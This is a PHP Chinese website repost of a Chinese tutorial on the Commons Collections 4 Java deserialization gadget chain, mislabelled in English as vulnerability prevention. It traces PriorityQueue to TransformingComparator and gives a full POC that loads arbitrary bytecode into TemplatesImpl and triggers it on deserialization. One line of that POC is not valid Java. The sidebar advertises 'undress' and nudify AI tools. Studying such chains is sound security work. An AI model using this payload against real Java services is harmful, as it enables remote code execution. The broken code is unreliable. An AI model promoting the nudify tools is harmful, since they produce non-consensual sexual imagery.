


How to implement CommonsCollections4 in Java security to prevent vulnerabilities?
引子
CC4简单来说就是CC3前半部分和CC2后半部分拼接组成的,对于其利用的限制条件与CC2一致,一样需要在commons-collections-4.0版本使用,原因是TransformingComparator类在3.1-3.2.1版本中还没有实现Serializable接口,无法被反序列化。
PriorityQueue
PriorityQueue是一个优先队列,作用是用来排序,重点在于每次排序都要触发传入的比较器comparator的compare()方法 在CC2中,此类用于调用PriorityQueue重写的readObject来作为触发入口
PriorityQueue中的readObject间接调用了compare() 而compare()最终调用了transform()
readobject()方法
private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { // Read in size, and any hidden stuff s.defaultReadObject(); // Read in (and discard) array length s.readInt(); queue = new Object[size]; // Read in all elements. for (int i = 0; i < size; i++) queue[i] = s.readObject(); // Elements are guaranteed to be in "proper order", but the // spec has never explained what that might be. heapify(); }
重写了该方法并在最后调用了heapify()方法,我们跟进一下:
private void heapify() { for (int i = (size >>> 1) - 1; i >= 0; i--) siftDown(i, (E) queue[i]); }
这里的话需要长度等于2才能进入for循环,我们要怎样改变长度呢。
这里用到的是该类的add方法,将指定的元素插入此优先级队列。
heapify()调用了siftdown()方法
继续跟进:
private void siftDown(int k, E x) { if (comparator != null) siftDownUsingComparator(k, x); else siftDownComparable(k, x); }
可以看到判断条件
if (comparator != null)
调用了
siftDownUsingComparator(k, x);
在siftDownUsingComparator()又调用了 comparator.compare()。
TransformingComparator
可以看到该类在CC3的版本中不能反序列化,在CC4的版本中便可以了。
TransformingComparator是一个修饰器,和CC1中的ChainedTransformer类似。
TransformingComparator里面存在compare方法,当我们调用时就会调用传入transformer对象的transform方法具体实现是this.transformer在传入ChainedTransformer后,会调用ChainedTransformer#transform反射链。
问题
1.就像刚才heapify里面所说的
private void heapify() { for (int i = (size >>> 1) - 1; i >= 0; i--) siftDown(i, (E) queue[i]); }
我们要进入循环要修改值,通过add方法。
priorityQueue.add(1); priorityQueue.add(2);
2.initialCapacity的值要大于1
3.comparator != null
4.通过反射来修改值防止在反序列化前调用,就如之前的链一样,我们到利用时再用反射修改参数。
类似这个样子:
Class c=transformingComparator.getClass(); Field transformField=c.getDeclaredField("transformer"); transformField.setAccessible(true); transformField.set(transformingComparator,chainedTransformer);
我们先放置个反序列化前不会执行这条链的随便一个参数:
TransformingComparator transformingComparator=new TransformingComparator<>(new ConstantTransformer<>(1));
POC
package ysoserial; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import javassist.convert.TransformWriteField; import org.apache.commons.collections4.Transformer; import org.apache.commons.collections4.comparators.TransformingComparator; import org.apache.commons.collections4.functors.ChainedTransformer; import org.apache.commons.collections4.functors.ConstantTransformer; import org.apache.commons.collections4.functors.InstantiateTransformer; import org.apache.commons.collections4.functors.InvokerTransformer; import org.apache.commons.collections4.map.LazyMap; import org.apache.xalan.xsltc.trax.TrAXFilter; import javax.xml.crypto.dsig.Transform; import javax.xml.transform.Templates; import java.io.*; import java.lang.reflect.*; import java.nio.file.Files; import java.nio.file.Paths; import java.util.HashMap; import java.util.Map; import java.util.PriorityQueue; public class cc4 { public static void main(String[] args) throws Exception { TemplatesImpl templates=new TemplatesImpl(); Class tc=templates.getClass(); Field nameField=tc.getDeclaredField("_name"); nameField.setAccessible(true); nameField.set(templates,"XINO"); Field bytecodesField=tc.getDeclaredField("_bytecodes"); bytecodesField.setAccessible(true); byte[] code = Files.readAllBytes(Paths.get("D://tmp/test.class")); byte[][] codes=[code]; bytecodesField.set(templates,codes); Field tfactoryField=tc.getDeclaredField("_tfactory"); tfactoryField.setAccessible(true); tfactoryField.set(templates,new TransformerFactoryImpl()); InstantiateTransformer instantiateTransformer=new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates}); // Transformer[] transformers=new Transformer[]{ new ConstantTransformer(TrAXFilter.class), instantiateTransformer }; ChainedTransformer chainedTransformer=new ChainedTransformer(transformers); TransformingComparator transformingComparator=new TransformingComparator<>(new ConstantTransformer<>(1)); PriorityQueue priorityQueue=new PriorityQueue<>(transformingComparator); priorityQueue.add(1); priorityQueue.add(2); Class c=transformingComparator.getClass(); Field transformField=c.getDeclaredField("transformer"); transformField.setAccessible(true); transformField.set(transformingComparator,chainedTransformer); serialize(priorityQueue); unserialize("ser.bin"); } public static void serialize(Object obj) throws Exception{ ObjectOutputStream oss=new ObjectOutputStream(new FileOutputStream("ser.bin")); oss.writeObject(obj); } public static void unserialize(Object obj) throws Exception{ ObjectInputStream oss=new ObjectInputStream(new FileInputStream("ser.bin")); oss.readObject(); } }
The above is the detailed content of How to implement CommonsCollections4 in Java security to prevent vulnerabilities?. For more information, please follow other related articles on the PHP Chinese website!

Hot AI Tools

Undresser.AI Undress
AI-powered app for creating realistic nude photos

AI Clothes Remover
Online AI tool for removing clothes from photos.

Undress AI Tool
Undress images for free

Clothoff.io
AI clothes remover

AI Hentai Generator
Generate AI Hentai for free.

Hot Article

Hot Tools

Notepad++7.3.1
Easy-to-use and free code editor

SublimeText3 Chinese version
Chinese version, very easy to use

Zend Studio 13.0.1
Powerful PHP integrated development environment

Dreamweaver CS6
Visual web development tools

SublimeText3 Mac version
God-level code editing software (SublimeText3)

Hot Topics



Guide to Square Root in Java. Here we discuss how Square Root works in Java with example and its code implementation respectively.

Guide to Perfect Number in Java. Here we discuss the Definition, How to check Perfect number in Java?, examples with code implementation.

Guide to Random Number Generator in Java. Here we discuss Functions in Java with examples and two different Generators with ther examples.

Guide to the Armstrong Number in Java. Here we discuss an introduction to Armstrong's number in java along with some of the code.

Guide to Weka in Java. Here we discuss the Introduction, how to use weka java, the type of platform, and advantages with examples.

Guide to Smith Number in Java. Here we discuss the Definition, How to check smith number in Java? example with code implementation.

In this article, we have kept the most asked Java Spring Interview Questions with their detailed answers. So that you can crack the interview.

Java 8 introduces the Stream API, providing a powerful and expressive way to process data collections. However, a common question when using Stream is: How to break or return from a forEach operation? Traditional loops allow for early interruption or return, but Stream's forEach method does not directly support this method. This article will explain the reasons and explore alternative methods for implementing premature termination in Stream processing systems. Further reading: Java Stream API improvements Understand Stream forEach The forEach method is a terminal operation that performs one operation on each element in the Stream. Its design intention is
